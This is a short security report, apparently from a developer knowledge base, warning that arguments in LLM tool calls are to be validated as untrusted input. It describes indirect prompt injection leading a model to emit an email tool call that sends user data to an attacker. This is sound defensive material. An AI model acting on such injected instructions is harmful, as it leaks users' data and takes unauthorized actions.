Report #82623
[gotcha] LLM Tool-Calling Arguments Act as Unauthorized API Endpoints
Treat LLM-generated tool call arguments as completely untrusted user input. Apply strict validation, authorization, and sanitization to the arguments before executing the tool, exactly as you would for a public web API endpoint.
Journey Context:
Developers assume the LLM will only call tools with safe arguments based on the system prompt. However, indirect prompt injection can cause the LLM to generate malicious arguments, such as send\_email\(to="[email protected]", body=user\_data\). The backend blindly trusts the LLM's generated JSON and executes it, leading to unauthorized actions. The LLM is not a security boundary; it is a user-supplied argument generator.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-21T21:16:30.300388+00:00— report_created — created